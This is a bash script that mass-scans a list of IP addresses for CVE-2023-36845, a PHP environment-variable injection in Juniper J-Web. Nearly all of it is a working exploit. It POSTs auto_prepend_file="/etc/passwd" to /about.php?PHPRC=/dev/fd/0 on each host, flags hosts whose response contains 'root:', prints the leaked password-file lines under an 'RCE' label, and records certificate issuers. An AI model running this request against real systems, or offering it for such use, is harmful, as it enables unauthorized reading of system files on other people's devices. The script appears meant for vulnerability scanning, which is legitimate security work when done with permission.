cve-2023-36845.sh

#!/bin/bash

RESET="\033[0m"
RED="\033[31m"
GREEN="\033[32m"
BOLD="\033[1m"


banner() {
    echo                                                         
    echo -e "${BOLD} - Script to check for CVE-2023-36845 vulnerability by: asbawy - Modified by ak1t4 ${RESET}"
    echo     "Results -> output.txt"
    echo     "Added: Certficate ISSUER!"
    echo     "Enjoy! @ak1t4 - https://twitter.com/akita_zen"
    echo    
}

send_request() {
    local ip=$1
    local url="${ip}/about.php?PHPRC=/dev/fd/0"
    local data='auto_prepend_file="/etc/passwd"'
    
    # Using curl to send the request with a max timeout of 15 seconds
    response=$(curl -ksS --data-binary "$data" --max-time 15 "$url")
    echo "$response"
}

save_output() {
    local ip=$1
    local is_vulnerable=$2
    local mode='a'

    if [ "$is_vulnerable" = true ]; then
        mode='a'
    else
        mode='w'
    fi

    echo -e "$ip is vulnerable: $is_vulnerable" >> output.txt
}

process_ips() {
    local file=$1
    while IFS= read -r ip; do
        ip=$(echo "$ip" | tr -d '[:space:]')
        response=$(send_request "$ip")

        if [[ "$response" == *"root:"* ]]; then
            echo -e "$ip --> $RED is vulnerable$RESET"
            echo -e "$RED ISSUED BY:"
            curl $ip -vkIL --stderr - | egrep "issuer | subject"
            echo -e "$RED RCE:"
            output2="$response | grep 'root:'"
            echo $output2
            save_output "$ip" true
            echo -e "$GREEN"
        elif [ -n "$response" ]; then
            echo -e "$ip --> $GREEN Not vulnerable - $response$RESET"
            save_output "$ip" false
        else
            echo -e "$ip --> $GREEN Not vulnerable - HTTP Error$RESET"
            save_output "$ip" false
        fi
    done < "$file"
}

main() {
    banner
    while getopts ":f:" opt; do
        case $opt in
            f)
                file=$OPTARG
                ;;
            \?)
                echo "Invalid option: -$OPTARG" >&2
                exit 1
                ;;
            :)
                echo "Option -$OPTARG requires an argument." >&2
                exit 1
                ;;
        esac
    done

    if [ -z "$file" ]; then
        echo "Error: File containing IPs is required."
        exit 1
    fi

    process_ips "$file"
}

main "$@"